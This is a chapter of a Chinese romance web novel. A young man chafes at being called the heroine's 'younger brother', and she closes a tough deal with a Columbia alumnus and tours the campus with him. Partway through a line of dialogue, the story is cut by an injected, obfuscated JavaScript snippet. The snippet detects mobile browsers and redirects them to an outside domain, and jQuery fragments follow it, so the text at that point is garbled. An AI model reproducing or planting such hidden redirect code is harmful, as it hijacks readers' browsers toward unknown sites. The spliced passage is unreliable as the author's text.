Chapter 3
苏以宁开门时，穿着白衬衫和牛仔裤，扎着高马尾，一张脸干净清秀，眉眼明亮。她站在门口，看到周越的那一刻，眼睛里明显亮了一下。
“周越！”她轻快地喊了一声，语气里带着不加掩饰的亲昵，那种熟络感就像深夜里突然亮起的一盏灯，瞬间照亮两人之间的温度。
那一声喊出来，太自然了，自然得像是喊过无数遍。
夏知遥站在几步之外，目光在她脸上扫了一眼，面无表情地把什么看了个透。那女孩的笑意落在周越身上，像是贴了标签的私人物品，她太熟悉那种眼神了。
苏以宁接过行李箱时，动作微微一顿，这才注意到夏知遥的存在。
她怔了一下，笑容不自觉淡了几分，但很快恢复过来，脸上挂上标准的礼貌微笑：“你好，谢谢你们，真不好意思。”
夏知遥点点头，语气不疾不徐：“真巧，要不是我弟弟是你同学，咱们也不能这么快找到行李。”
“弟弟”两个字她咬得特别清楚，像是随口一提，又像是故意留白，说完，还笑着扫了周越一眼，仿佛在问他：我说错了吗？
那一瞬间，苏以宁眼底的笑意明显顿了一下。
周越原本正低头开后备箱，动作忽地顿了一下，眉心不可察觉地皱了下。
我弟弟。
她眼里还是那个年纪小、需要照顾的小孩，一个在她认知里，只能被温柔地拍拍头、点点额头、笑着说“乖”的角色。
可他不是，他早就也不是了。
他想咬她的唇，想让她不要再笑着喊他“弟弟”，他想让她知道，他不是那个可以乖乖站在原地等她回头的小孩。
他是个男人，是想要她的男人，他低头系安全带，动作慢得像被卡住齿轮的机器，一点一点往下压住自己那一瞬间失控的欲望与愤怒。
眼角的余光却死死盯着她，她在和程悦说着什么，全程没有看他一眼，胸口像被堵了一团灼热的棉絮，压不下去，也说不出来。
他极力克制着自己不说话，但那句“我弟弟”，就像一根钉子，稳稳钉在了他心脏最深处。
哪怕他笑着走过去，哪怕他装作什么都没发生，它也会在那儿，钉着，疼着，反复提醒他：她，从没把你当成男人看。
五分钟后，周越重新发动车，车子缓缓驶入纽约傍晚的街道。橘黄的灯光将棕榈树的影子拉得极长，一棵棵从窗外掠过，像胶片旧电影里一格格倒带的时光，安静，怀旧，却也令人莫名惆怅。
他单手搭在方向盘上，指节修长，姿态看似懒散，实则骨节绷紧，像只蓄势待发的猫，侧过脸，他看了她一眼，那目光轻极了，像夜色里的风，但眼底压着点久违的热意，藏不住。
“遥遥姐，”他语气很轻，像是试水般试探，“这次来纽约行程满吗？”他说得随意，但那种小心翼翼的“随意”，谁听不出来是提前想过无数遍的？
夏知遥正翘着腿刷手机，闻言只是“啧”了一声，眼皮都没抬：“你是我爹妈吗？一上来就查岗。”
周越轻笑：“这不是想进尽地主之谊，请你吃饭。”
她终于把手机扣在腿上，懒洋洋地看向他：“吃饭可以，但我这几天项目还没收尾，别整得你像我爸似的，我看着害怕。”她说话是玩笑语气，但眼神直白，一点不绕弯子。
那句话落下时，周越眼角轻轻抽动了一下，动作小得几乎不易察觉，然后他低声开口了，语气忽然软下来，尾音带着一丝下意识的黏性，像是回到那个被她牵过一次手，就能高兴一整个夏天的少年：“咱俩上次吃饭……都几年了吧。”
他说到一半便停了下来，像是意识到再往下说就太露骨，又像是故意留了空隙，想看她怎么接。
他不吵也不闹，只一边开车一边开口，声音低低的，像一只藏在城市噪音中的影子，安静到几乎没有攻击性。
可他心里明白，这整段对话，他早就在心里排练过成百上千遍，什么语气，哪句停顿，甚至她可能的反应，他都想过。
夏知遥没说话，目光落在车窗外。可脑子里却突然闪回那个总爱跑来她家蹭饭的小孩，坐在她餐桌边，撑着下巴。
她那时逗他：“不给你吃了。”
他眨了眨眼睛，小声得像风吹纸片：“那我就……看你吃也行。”
她往椅背一靠，抬手抚了下额角的碎发，嘴角一挑：“你这招还真老套啊，打感情牌？”
周越一怔，下意识想解释什么。
她懒洋洋补了句：“……不过请我吃饭倒是可以考虑一下。”斜睨他一眼，语气像是在审他：“那就看你的诚意了。”
周越笑出声，低低的，那种藏了太久才终于放出来的轻松感，像夜风拂过积雨的水面。
“……好。”他声音低低的，却藏着一丝明亮。
夏知遥靠在座椅上，眉头轻蹙，那种几乎只有多年熟识才会生出的微妙直觉，悄然浮上来：“嗓子怎么了？听起来有点哑。”
周越微怔，他轻咳了一声，嗓音低哑，带着几分漫不经心的无奈：“可能上火了，这几天老疼，喝水也没什么用。”
“我回头给你拿点药，”她语气仍旧克制，却带着一点不容拒绝的温柔，“我带了牛黄解毒片，放在行李箱里。”
她还是那个夏知遥，永远在替人把局面收拾到最好，周越又偷偷看了她一眼，像画布上不小心晕开的水彩，情绪从眼角开始，一点一点地，往心里漫开。
他没有笑，只是轻声应了句：“好。”
窗外的城市在玻璃上映出斑斓光影，明灭交错，如梦似幻，风从窗缝钻进来，带着一点春夜特有的柔软，在他们之间轻轻流动。
夏知遥靠着椅背，闭了闭眼，像是在这份短暂的安宁里，放自己歇一口气。
周越低低一笑，眼神仍盯着前方，却在光影深处藏着一丝被风吹也不肯散去的执念，他不急，他等得起，他有足够的时间，一点一点，撬开她亲手封上的世界。
接下来的几天，夏知遥带着团队强势推进，每天准时坐进会议室，一身剪裁锋利的西装裙，发束高绾，步伐利落，每一个动作都像战场上的号令，无需重复，所有人都得跟上节奏。
这不是谈判，是攻城。
她翻着模型、核查估值、修订条款，一字一句都透着逼人的锋锐。她说话时不快，却字字带压迫感，眼神直视目标，语气干净果断，不留情面。
对面是Robert Chen，五十多岁，哥大商学院出身，典型的“绅士式老狐狸”。西装笔挺，嗓音温和，谈吐一派谦和有礼，仿佛每个词都浸过蜂蜜。
但夏知遥根本不吃这一套。
她用半个下午就拆穿了他的伎俩：所谓温文尔雅，不过是掩饰控制欲的糖衣。他喜欢在细节上做文章，语句措辞、标点顺序、括号位置，每一点都死扣，想用“低强度战术疲劳”把人拖入泥潭。
可她偏不随他起舞，他说一个“if necessary”，她就明确说：“那您得先搞清楚什么叫‘必要’。不是您说了算，是市场说了算。”
她像是在撕开他每一寸虚伪的体面，每一场语言博弈，她都主动出招，从不被牵着鼻子走。逻辑像钉枪，语气像鞭子，她不骂人，但每一句话都带着“你绕不过我”的确定。
团队里有新人说，她一坐下，气压就变了，没人敢走神，她的存在本身就是一个战斗场，锋芒毕露、杀伐果决。
Robert几次试图扭转节奏，想用“gentle reminder”引她松动条款，她只是轻笑一声，抬眼看他，唇角扬起一抹带锋的笑意：“陈总，如果这些细节真的重要，那我们可以另起一页单独附表。但如果只是为了显得严谨，那我们都太忙，不适合演戏。”
她那一瞬的神情，像战场上盯准猎物的指挥官。
等到最后一页协议打印出来，纸张边缘还有余温。
Robert摘下眼镜，面带微笑，伸出手：“夏小姐，非常愉快的合作。”
她站起身，笑得克制而礼貌，修长的手指与他轻轻一握，嗓音淡淡：“期待后续顺利推进。”心底却泛起一丝凉意：你愉快了，我可一点都不愉快。
Robert也起身，笑容带着一种近乎放松的坦率：“我其实很愿意和你这样的人合
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977816|177885||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作，简单、直接、明确。”
夏知遥正要回应，却听他语气一转，补了一句：“就是……不像个女人。”
她挑了挑眉，“那您得多接触点国内的女性从业者了，”她语气半真半假地调侃，“我们这一挂的，不太走温柔婉约那路子。”
她笑着说完这句，神情却没再多留一分。点了点头，姿态利落从容：“祝我们合作愉快。”
气氛悄然松动。Robert端起咖啡，笑意温和，话题也随之轻了些。
“对了，”他像是随口一提，“听说你也是哥大的校友？”
夏知遥微微一怔，眼神闪过一瞬的意外，很快点头：“是的，在那读的Master。”
Robert的神情顿时轻松了不少，笑容也多了几分真意：“那太巧了，我当年也是。虽然毕业很多年了，但哥大对我来说，一直像个家。”
他说这话时眼底泛起一丝柔光，像是翻开了久远记忆中的某一页。片刻后他又笑道：“要不要回去看看？我也很久没回去了。”
夏知遥垂眸想了想。今日所有议程已然结束，她难得空出一块时间，便轻轻应了一声：“好。”
他们简单收拾了资料，临时驱车前往母校，四月的纽约，阳光透亮而不灼热，空气中飘着若有似无的花香，像是早春才有的那种明媚而节制的温柔。
哥大熟悉的Low Memorial Library静静矗立在大片绿荫和澄澈天空下，庄重而温暖，像一幅被风轻轻晃动的旧画，色彩温润，细节仍鲜明。
沿着那条她曾无数次走过的小径前行，夏知遥的脚步不自觉慢了下来，她穿着高跟鞋，踩在干净的石板路上，却走得比往常轻盈许多。
像是身体比意识先一步记起了这片土地的节奏，而紧绷许久的神经，也在不知不觉间松缓了下来。
她忽然想起自己初来报到的那个清晨，背着电脑包站在这条路口，望着那些古朴的教学楼、宽阔草地和洋溢着自由气息的阳光，心里想着，人生也许真的可以慢慢展开，像一卷刚铺开的画轴，一笔一笔画下去。
他们一路向商学院走去，前方，一群学生刚刚下课，穿着印有哥大字样的T恤衫，从教学楼里涌出来。阳光在他们肩头跳跃，笑声和谈话声随风散开，轻快得像整个春天。
Robert走在她身侧，西装外套随意搭在臂弯上，整个人神态闲适：“我当年啊，就是在那栋楼前第一次和我太太说话，她那天穿了一条红裙子，阳光刚好照在她头发上，我整整一节课都没听进去。”
他的笑声在校园中温柔散开，眼角的细纹也被那回忆轻轻拂开，像是真被什么触动了。
夏知遥听着，也轻轻笑了，这些天的职场拉扯、博弈和压力，在这一刻仿佛被某种柔软包裹着，缓缓熨平，淡化成风里一缕若有若无的旧事。
Robert忽然转头看她，语气带着一点打趣的轻快：“那Summer当年在这儿念书的时候，就没遇上点什么浪漫故事？”
夏知遥一愣，随即轻笑，笑意浅淡却不失从容：“真没有，学得太辛苦，没什么时间想这个。”
Robert挑眉，故意拉长语调：“啧，那可太可惜了。”又马上转移话题：“听说哥大商院后面要往Manhattanville那边发展。”
夏知遥笑道：“是啊，听说要建水晶大楼，很期待。”
春日的风穿过树梢，阳光在建筑和枝叶之间洒下斑驳光影，映在他们的脚边，像是时间落下的碎片。
一切看起来都未曾改变，可她知道，真正变了的，从来不是这片校园，而是站在这里的她。
午后的阳光铺洒在校园草坪上，球场边人声鼎沸，男生们换上球衣、卷起袖子，在绿茵场上肆意奔跑。皮球飞掠过草地，撞击球门时发出沉闷而有力的声响，伴随着一阵欢呼。
周越也在其中。他身穿球衣，黑色短发被汗水打湿，额角一滴滴滑落。他冲刺、停步、抢球、射门，动作干净利落，眉眼带着少年气的凌厉与张扬。
他正准备下一次冲刺，余光却忽然扫到场边人群中一个不属于此处的身影，他顿住了。